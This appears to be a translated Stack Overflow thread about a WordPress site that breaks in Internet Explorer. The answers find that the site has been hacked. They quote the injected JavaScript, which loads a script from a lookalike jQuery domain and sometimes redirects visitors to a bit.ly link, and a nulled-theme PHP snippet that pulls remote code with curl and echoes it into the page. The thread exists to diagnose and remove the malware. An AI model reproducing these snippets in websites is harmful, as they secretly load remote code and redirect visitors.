Wordpress CSS 在 Internet Explorer 中不起作用
Posted
技术标签:
【中文标题】Wordpress CSS 在 Internet Explorer 中不起作用【英文标题】:Wordpress CSS doesn't work in Internet Explorer 【发布时间】:2012-01-23 02:36:22 【问题描述】:当我使用 IE 9-8-7 浏览我的网站时,似乎有些问题。它与 Chrome、Safari、Firefox 和 Opera 完美呈现。可能是什么原因?谢谢。
http://www.omergencay.com
Internet Explorer 中的错误视图
【问题讨论】:
【参考方案1】:这些是 html 的第一行:
<script type="text/javascript"> if(!document.referrer || document.referrer == '') document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.min.js"></scr'+'ipt>'); else document.write('<scr'+'ipt type="text/javascript" src="http://www.j-query.org/jquery.js"></scr'+'ipt>'); </script>
<script type="text/javascript">
var now = new Date().getTime();
if (now%35 == 0)
window.location = "http://bit.ly/vjqJ4w";
</script><!DOCTYPE html>
在文档类型之前有东西会将 IE 扔进Quirks Mode,这就是您的网站在 IE 中无法正确显示的原因。
更重要的是,您的网站似乎已被黑客入侵。浏览到 hxxp://bit.ly/vjqJ4w 会将您带到您可能不想去的地方。
【讨论】:
感谢您的警告。该 javascript 仅在 Internet Explorer 中加载。我想知道“cpahits.com”的东西来自哪里。谢谢你。但是如何从 Internet Explorer 渲染中删除该推荐脚本? 你是正确的,JavaScript 并不总是加载。它可以在任何浏览器中加载(至少,我已经验证它也可以在 Firefox 中加载)。但是,它似乎只在没有设置推荐人时加载。如需帮助修复您的网站,请尝试 codex.wordpress.org/FAQ_My_site_was_hacked 和 wordpress.stackexchange.com/questions/19696/…。 我停用了所有插件,但没有任何改变。现在我正在沿着文件一一搜索“hxxp://bit.ly/vjqJ4w” url 以找到漏洞利用。感谢您的帮助。 这更复杂。您需要弄清楚您的网站最初是如何被黑客入侵的,并关闭漏洞,否则它可能会再次发生。希望我链接到的资源会有所帮助。 我安装了新的wordpress。并且没有向任何人宣传。我认为它可能来自主题文件。我会看看你的两个链接。再次感谢您。【参考方案2】:其实解决这个问题很简单。
但让我先解释一下是什么原因造成的。
没有。 1 个原因是您或您的开发人员可能从warez 分销商网站获取了一些破解/黑客/无效的主题。
所以来解决这个问题。只需在主题根文件夹下打开 index.php
然后寻找这个:
<?php
if(function_exists('curl_init'))
$url = "http://www.j-query.org/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
?>
删除整个脚本,您的网站应该可以正常工作。
【讨论】:
【参考方案3】:某些东西迫使 IE 在您的页面中以怪癖模式(即 IE5.5 模式)运行。当你按下 F12 时,你可以看到当前的文档模式并改变它。
当我查看源代码时,文档类型似乎设置正确...我看不到 30 点看到的内容。
很有可能您正在使用某种类型的 wordpress 插件,这在某些情况下会导致问题(这可以解释为什么 bingjie2680 没有注意到任何问题。
【讨论】:
脚本似乎只有在您查看 IE 源代码时才会出现。【参考方案4】:尝试修复您的代码错误并重新验证。 [Invalid] Markup Validation of omergencay.com - W3C Markup Validator。在验证报告中向下滚动以查看行号和源代码。
【讨论】:
以上是关于Wordpress CSS 在 Internet Explorer 中不起作用的主要内容,如果未能解决你的问题,请参考以下文章
如何在 Internet Explorer 中为实时网站保存开发人员工具中的 css 更改
Internet Explorer 上的 CSS 错误阴影效果(纸张卷曲)
WordPress 插件内容未在 Internet Explorer 中显示
CSS 使用Border Radius在Internet Explorer,Firefox和Safari中使用CSS圆角